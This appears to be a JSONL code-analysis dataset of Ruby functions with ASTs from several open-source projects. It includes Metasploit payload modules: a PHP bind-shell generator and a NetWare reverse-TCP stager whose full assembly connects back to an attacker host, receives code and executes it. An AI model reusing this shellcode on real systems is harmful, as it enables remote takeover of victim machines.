{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/entities/namespace.rb","start_line":10,"raw_source":"def expose_members_count_with_descendants?(namespace, opts)\n        namespace.kind == 'group' && Ability.allowed?(opts[:current_user], :admin_group, namespace)\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expose_members_count_with_descendants?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"kind\"]},\"==\",{\"type\":\"str\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"sym\",\"children\":[\"admin_group\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}","id":"e1f27a99-01cb-461c-a0c6-b29e4043609e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/pdu.rb","start_line":313,"raw_source":"def self.decode(pdu_data)\n        oid_data, remainder = decode_object_id(pdu_data)\n        enterprise = ObjectId.new(oid_data)\n        ip_data, remainder = decode_ip_address(remainder)\n        agent_addr = IpAddress.new(ip_data)\n        generic_trap, remainder = decode_integer(remainder)\n        specific_trap, remainder = decode_integer(remainder)\n        time_data, remainder = decode_timeticks(remainder)\n        timestamp = TimeTicks.new(time_data)\n        varbind_list, remainder = VarBindList.decode(remainder)\n        assert_no_remainder(remainder)\n        SNMPv1_Trap.new(enterprise, agent_addr, generic_trap, specific_trap,\n            timestamp, varbind_list)\n    end","complexity_score":32.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pdu_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oid_data\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_object_id\",{\"type\":\"lvar\",\"children\":[\"pdu_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enterprise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectId\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"oid_data\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ip_data\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_ip_address\",{\"type\":\"lvar\",\"children\":[\"remainder\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"agent_addr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IpAddress\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ip_data\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"generic_trap\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_integer\",{\"type\":\"lvar\",\"children\":[\"remainder\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"specific_trap\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_integer\",{\"type\":\"lvar\",\"children\":[\"remainder\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time_data\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_timeticks\",{\"type\":\"lvar\",\"children\":[\"remainder\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeTicks\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"time_data\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"varbind_list\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VarBindList\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"remainder\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_remainder\",{\"type\":\"lvar\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMPv1_Trap\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"enterprise\"]},{\"type\":\"lvar\",\"children\":[\"agent_addr\"]},{\"type\":\"lvar\",\"children\":[\"generic_trap\"]},{\"type\":\"lvar\",\"children\":[\"specific_trap\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"lvar\",\"children\":[\"varbind_list\"]}]}]}]}","id":"696a47fd-8f33-4250-ad8c-f814bbffbda2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/application_helper.rb","start_line":427,"raw_source":"def locale_first_day_of_week\n    case Setting.start_of_week.to_i\n    when 1\n      \"1\" # Monday\n    when 7\n      \"0\" # Sunday\n    when 6\n      \"6\" # Saturday\n    else\n      # use language default (pass a blank string) and moment.js will reuse existing info\n      # /frontend/src/main.ts\n      \"\"\n    end\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"locale_first_day_of_week\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"start_of_week\"]},\"to_i\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[7]},{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"str\",\"children\":[\"6\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"851a2c06-2342-4b47-b18d-333b72b3ed98"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twilio/incoming_message_service.rb","start_line":159,"raw_source":"def handle_download_attachment_error(error, media_url)\n    Rails.logger.info \"Error downloading attachment from Twilio: #{error.message}: Retrying without auth\"\n    Down.download(media_url)\n  rescue StandardError => e\n    Rails.logger.info \"Error downloading attachment from Twilio: #{e.message}: Skipping\"\n    nil\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_download_attachment_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]},{\"type\":\"arg\",\"children\":[\"media_url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error downloading attachment from Twilio: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\": Retrying without auth\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Down\"]},\"download\",{\"type\":\"lvar\",\"children\":[\"media_url\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error downloading attachment from Twilio: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\": Skipping\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"a9e50635-b944-41ee-a1cc-694cf5822261"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/php/bind_php_ipv6.rb","start_line":77,"raw_source":"def generate(_opts = {})\n    return super + php_bind_shell\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"send\",\"children\":[null,\"php_bind_shell\"]}]}]}]}","id":"0dff423e-713d-4ce7-badc-e22f2394843c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/site_settings/deprecated_settings.rb","start_line":129,"raw_source":"def is_tl_and_staff_setting?(old_setting)\n    SiteSetting.type_supervisor.get_type(old_setting.to_sym) == :enum &&\n      SiteSetting.type_supervisor.get_enum_class(old_setting.to_sym).name ==\n        TrustLevelAndStaffSetting.name\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"is_tl_and_staff_setting?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_setting\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"type_supervisor\"]},\"get_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_setting\"]},\"to_sym\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"enum\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"type_supervisor\"]},\"get_enum_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_setting\"]},\"to_sym\"]}]},\"name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrustLevelAndStaffSetting\"]},\"name\"]}]}]}]}","id":"4de345c6-c256-4e0c-91c8-b8aa64b33e1c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/update_user_agent_strings.rb","start_line":55,"raw_source":"def info(txt)\n  puts \"[#{'INFO'.cyan}] #{cleanup_text(txt)}\"\nend","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"INFO\"]},\"cyan\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_text\",{\"type\":\"lvar\",\"children\":[\"txt\"]}]}]}]}]}]}","id":"7297493c-e8c3-4890-9994-ea6fef62aa7b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stagers/netware/reverse_tcp.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Reverse TCP Stager',\n        'Description' => 'Connect back to the attacker',\n        'Author' => 'toto',\n        'License' => MSF_LICENSE,\n        'Platform' => 'netware',\n        'Arch' => ARCH_X86,\n        'Handler' => Msf::Handler::ReverseTcp,\n        'Convention' => 'sockesi',\n        'Stager' => {\n          'Offsets' =>\n            {\n              'LHOST' => [ 0, 'ADDR' ],\n              'LPORT' => [ 0, 'n' ]\n            },\n          'Assembly' => <<~EOS\n            jmp main_code\n\n            //\n            // resolve a symbol address using the DebuggerSymbolHashTable\n            // (could resolve only against function name for smaller code)\n            //\n\n            resolv_addr:\n              push edi\n              push ecx\n              xor edi, edi\n            r_loop:\n              mov edx, [ebp+edi*4]\n              test edx, edx\n              jz  r_next\n            r_loop2:\n              xor esi, esi\n              mov ebx, [edx+8]\n              mov al, byte ptr[ebx]\n            r_iloop2:\n              test al, al\n              jz r_after2\n              inc ebx\n              movzx ecx, byte ptr[ebx]\n              ror esi, 0x0d\n              add esi, ecx\n              dec al\n              jmp r_iloop2\n            r_after2:\n              cmp esi, [esp+0x0c]\n              jz r_found\n              mov edx, [edx]\n              test edx, edx\n              jnz r_loop2\n            r_next:\n              inc edi\n              cmp edi, 0x200\n              jnz r_loop\n              jmp r_end\n            r_found:\n              mov eax, [edx+4]\n            r_end:\n              pop ecx\n              pop edi\n              ret\n\n\n            main_code:\n              // search DebuggerSymbolHashTable pointer using GDT system call gate\n              // -> points inside SERVER.NLM\n              cli\n              sub esp, 8\n              mov ecx, esp\n              sgdt [ecx]\n\n              cli\n              mov ebx, [ecx+2]\n\n              mov bp, word ptr [ebx+0x4E]\n              shl ebp, 16\n              mov bp, word ptr [ebx+0x48]\n\n            f_finddebugger:\n              cmp dword ptr[ebp], 0\n              jnz f_next\n              cmp dword ptr[ebp+4], 0x808bc201\n              jz f_end\n            f_next:\n              dec ebp\n              jmp f_finddebugger\n            f_end:\n              mov ebp, [ebp-7]\n\n              // resolve function pointers\n              call current\n            current:\n              pop edi\n              add edi, (fct_ptrs - current)\n              mov cl, 6\n            resolv_ptrs:\n              push [edi]\n              call resolv_addr\n              stosd\n              dec cl\n              test cl, cl\n              jnz resolv_ptrs\n\n              sti\n\n              // remove CIFS lock\n              call [edi-4]          // NSS.NLM|NSSMPK_UnlockNss\n\n              // allocate heap buffer to remove the code from the stack (if on the stack)\n              // network functions will give back control to the kernel and we don't want\n              // the driver to erase our shellcode\n\n              push 65535\n              call [edi-8]          ; AFPTCP.NLM|LB_malloc\n              mov ecx, (end_reverse - reverse_connect)\n              mov esi, edi\n              sub esi, ecx\n              mov edi, eax\n              test eax, eax\n              jz end\n\n              repe movsb\n              jmp eax\n\n\n            reverse_connect:\n              xor ebx, ebx\n\n              push ebp\n              mov ebp, esp\n              push ebp\n              push ebx        // protocol\n              push 1          // SOCK_STREAM\n              push 2          // AF_INET\n              call [edi-0xc]       // LIBC.NLM|bsd_socket_mp\n              mov esi, eax\n              test eax, eax\n              jz end\n\n              push ebx\n              push ebx\n              push LHOST\n              push.i16 LPORT\n              push.i16 2\n              mov ecx, esp\n              push ebp\n              push 16\n              push ecx\n              push esi\n              call [edi-0x10]       // LIBC.NLM|bsd_connect_mp\n              cmp eax, -1\n              jz end\n\n              push 65535\n              push edi\n              mov ecx, esp\n\n              push ebx\n              push ebx\n              push ebx\n              inc ebx\n              push ebx\n              dec ebx\n              push ecx\n              push ebx\n              push ebx\n              mov ecx, esp\n\n              push ebp\n              push ebx\n              push ecx\n              push esi\n              call [edi-0x14]       // LIBC.NLM|bsd_recvmsg_mp\n\n              jmp edi\n\n            end:\n              ; go back to the main kernel loop\n              call [edi-0x18]       // SERVER.NLM|kWorkerThread\n\n            fct_ptrs:\n              dd 0x9294bdcb         // SERVER.NLM|kWorkerThread\n              dd 0x3605cc1c         // LIBC.NLM|bsd_recvmsg_mp\n              dd 0x19a75280         // LIBC.NLM|bsd_connect_mp\n              dd 0x46f23d88         // LIBC.NLM|bsd_socket_mp\n              dd 0x6877687c         // AFPTCP.NLM|LB_malloc\n              dd 0x8967f0ce         // NSS.NLM|NSSMPK_UnlockNss\n            end_reverse:\n              nop\n          EOS\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Reverse TCP Stager\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect back to the attacker\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"toto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"netware\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Convention\"]},{\"type\":\"str\",\"children\":[\"sockesi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"ADDR\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"n\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Assembly\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"jmp main_code\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"//\\n\"]},{\"type\":\"str\",\"children\":[\"// resolve a symbol address using the DebuggerSymbolHashTable\\n\"]},{\"type\":\"str\",\"children\":[\"// (could resolve only against function name for smaller code)\\n\"]},{\"type\":\"str\",\"children\":[\"//\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"resolv_addr:\\n\"]},{\"type\":\"str\",\"children\":[\"  push edi\\n\"]},{\"type\":\"str\",\"children\":[\"  push ecx\\n\"]},{\"type\":\"str\",\"children\":[\"  xor edi, edi\\n\"]},{\"type\":\"str\",\"children\":[\"r_loop:\\n\"]},{\"type\":\"str\",\"children\":[\"  mov edx, [ebp+edi*4]\\n\"]},{\"type\":\"str\",\"children\":[\"  test edx, edx\\n\"]},{\"type\":\"str\",\"children\":[\"  jz  r_next\\n\"]},{\"type\":\"str\",\"children\":[\"r_loop2:\\n\"]},{\"type\":\"str\",\"children\":[\"  xor esi, esi\\n\"]},{\"type\":\"str\",\"children\":[\"  mov ebx, [edx+8]\\n\"]},{\"type\":\"str\",\"children\":[\"  mov al, byte ptr[ebx]\\n\"]},{\"type\":\"str\",\"children\":[\"r_iloop2:\\n\"]},{\"type\":\"str\",\"children\":[\"  test al, al\\n\"]},{\"type\":\"str\",\"children\":[\"  jz r_after2\\n\"]},{\"type\":\"str\",\"children\":[\"  inc ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  movzx ecx, byte ptr[ebx]\\n\"]},{\"type\":\"str\",\"children\":[\"  ror esi, 0x0d\\n\"]},{\"type\":\"str\",\"children\":[\"  add esi, ecx\\n\"]},{\"type\":\"str\",\"children\":[\"  dec al\\n\"]},{\"type\":\"str\",\"children\":[\"  jmp r_iloop2\\n\"]},{\"type\":\"str\",\"children\":[\"r_after2:\\n\"]},{\"type\":\"str\",\"children\":[\"  cmp esi, [esp+0x0c]\\n\"]},{\"type\":\"str\",\"children\":[\"  jz r_found\\n\"]},{\"type\":\"str\",\"children\":[\"  mov edx, [edx]\\n\"]},{\"type\":\"str\",\"children\":[\"  test edx, edx\\n\"]},{\"type\":\"str\",\"children\":[\"  jnz r_loop2\\n\"]},{\"type\":\"str\",\"children\":[\"r_next:\\n\"]},{\"type\":\"str\",\"children\":[\"  inc edi\\n\"]},{\"type\":\"str\",\"children\":[\"  cmp edi, 0x200\\n\"]},{\"type\":\"str\",\"children\":[\"  jnz r_loop\\n\"]},{\"type\":\"str\",\"children\":[\"  jmp r_end\\n\"]},{\"type\":\"str\",\"children\":[\"r_found:\\n\"]},{\"type\":\"str\",\"children\":[\"  mov eax, [edx+4]\\n\"]},{\"type\":\"str\",\"children\":[\"r_end:\\n\"]},{\"type\":\"str\",\"children\":[\"  pop ecx\\n\"]},{\"type\":\"str\",\"children\":[\"  pop edi\\n\"]},{\"type\":\"str\",\"children\":[\"  ret\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"main_code:\\n\"]},{\"type\":\"str\",\"children\":[\"  // search DebuggerSymbolHashTable pointer using GDT system call gate\\n\"]},{\"type\":\"str\",\"children\":[\"  // -> points inside SERVER.NLM\\n\"]},{\"type\":\"str\",\"children\":[\"  cli\\n\"]},{\"type\":\"str\",\"children\":[\"  sub esp, 8\\n\"]},{\"type\":\"str\",\"children\":[\"  mov ecx, esp\\n\"]},{\"type\":\"str\",\"children\":[\"  sgdt [ecx]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  cli\\n\"]},{\"type\":\"str\",\"children\":[\"  mov ebx, [ecx+2]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  mov bp, word ptr [ebx+0x4E]\\n\"]},{\"type\":\"str\",\"children\":[\"  shl ebp, 16\\n\"]},{\"type\":\"str\",\"children\":[\"  mov bp, word ptr [ebx+0x48]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"f_finddebugger:\\n\"]},{\"type\":\"str\",\"children\":[\"  cmp dword ptr[ebp], 0\\n\"]},{\"type\":\"str\",\"children\":[\"  jnz f_next\\n\"]},{\"type\":\"str\",\"children\":[\"  cmp dword ptr[ebp+4], 0x808bc201\\n\"]},{\"type\":\"str\",\"children\":[\"  jz f_end\\n\"]},{\"type\":\"str\",\"children\":[\"f_next:\\n\"]},{\"type\":\"str\",\"children\":[\"  dec ebp\\n\"]},{\"type\":\"str\",\"children\":[\"  jmp f_finddebugger\\n\"]},{\"type\":\"str\",\"children\":[\"f_end:\\n\"]},{\"type\":\"str\",\"children\":[\"  mov ebp, [ebp-7]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  // resolve function pointers\\n\"]},{\"type\":\"str\",\"children\":[\"  call current\\n\"]},{\"type\":\"str\",\"children\":[\"current:\\n\"]},{\"type\":\"str\",\"children\":[\"  pop edi\\n\"]},{\"type\":\"str\",\"children\":[\"  add edi, (fct_ptrs - current)\\n\"]},{\"type\":\"str\",\"children\":[\"  mov cl, 6\\n\"]},{\"type\":\"str\",\"children\":[\"resolv_ptrs:\\n\"]},{\"type\":\"str\",\"children\":[\"  push [edi]\\n\"]},{\"type\":\"str\",\"children\":[\"  call resolv_addr\\n\"]},{\"type\":\"str\",\"children\":[\"  stosd\\n\"]},{\"type\":\"str\",\"children\":[\"  dec cl\\n\"]},{\"type\":\"str\",\"children\":[\"  test cl, cl\\n\"]},{\"type\":\"str\",\"children\":[\"  jnz resolv_ptrs\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  sti\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  // remove CIFS lock\\n\"]},{\"type\":\"str\",\"children\":[\"  call [edi-4]          // NSS.NLM|NSSMPK_UnlockNss\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  // allocate heap buffer to remove the code from the stack (if on the stack)\\n\"]},{\"type\":\"str\",\"children\":[\"  // network functions will give back control to the kernel and we don't want\\n\"]},{\"type\":\"str\",\"children\":[\"  // the driver to erase our shellcode\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  push 65535\\n\"]},{\"type\":\"str\",\"children\":[\"  call [edi-8]          ; AFPTCP.NLM|LB_malloc\\n\"]},{\"type\":\"str\",\"children\":[\"  mov ecx, (end_reverse - reverse_connect)\\n\"]},{\"type\":\"str\",\"children\":[\"  mov esi, edi\\n\"]},{\"type\":\"str\",\"children\":[\"  sub esi, ecx\\n\"]},{\"type\":\"str\",\"children\":[\"  mov edi, eax\\n\"]},{\"type\":\"str\",\"children\":[\"  test eax, eax\\n\"]},{\"type\":\"str\",\"children\":[\"  jz end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  repe movsb\\n\"]},{\"type\":\"str\",\"children\":[\"  jmp eax\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"reverse_connect:\\n\"]},{\"type\":\"str\",\"children\":[\"  xor ebx, ebx\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebp\\n\"]},{\"type\":\"str\",\"children\":[\"  mov ebp, esp\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebp\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx        // protocol\\n\"]},{\"type\":\"str\",\"children\":[\"  push 1          // SOCK_STREAM\\n\"]},{\"type\":\"str\",\"children\":[\"  push 2          // AF_INET\\n\"]},{\"type\":\"str\",\"children\":[\"  call [edi-0xc]       // LIBC.NLM|bsd_socket_mp\\n\"]},{\"type\":\"str\",\"children\":[\"  mov esi, eax\\n\"]},{\"type\":\"str\",\"children\":[\"  test eax, eax\\n\"]},{\"type\":\"str\",\"children\":[\"  jz end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  push LHOST\\n\"]},{\"type\":\"str\",\"children\":[\"  push.i16 LPORT\\n\"]},{\"type\":\"str\",\"children\":[\"  push.i16 2\\n\"]},{\"type\":\"str\",\"children\":[\"  mov ecx, esp\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebp\\n\"]},{\"type\":\"str\",\"children\":[\"  push 16\\n\"]},{\"type\":\"str\",\"children\":[\"  push ecx\\n\"]},{\"type\":\"str\",\"children\":[\"  push esi\\n\"]},{\"type\":\"str\",\"children\":[\"  call [edi-0x10]       // LIBC.NLM|bsd_connect_mp\\n\"]},{\"type\":\"str\",\"children\":[\"  cmp eax, -1\\n\"]},{\"type\":\"str\",\"children\":[\"  jz end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  push 65535\\n\"]},{\"type\":\"str\",\"children\":[\"  push edi\\n\"]},{\"type\":\"str\",\"children\":[\"  mov ecx, esp\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  inc ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  dec ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  push ecx\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  mov ecx, esp\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebp\\n\"]},{\"type\":\"str\",\"children\":[\"  push ebx\\n\"]},{\"type\":\"str\",\"children\":[\"  push ecx\\n\"]},{\"type\":\"str\",\"children\":[\"  push esi\\n\"]},{\"type\":\"str\",\"children\":[\"  call [edi-0x14]       // LIBC.NLM|bsd_recvmsg_mp\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  jmp edi\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"end:\\n\"]},{\"type\":\"str\",\"children\":[\"  ; go back to the main kernel 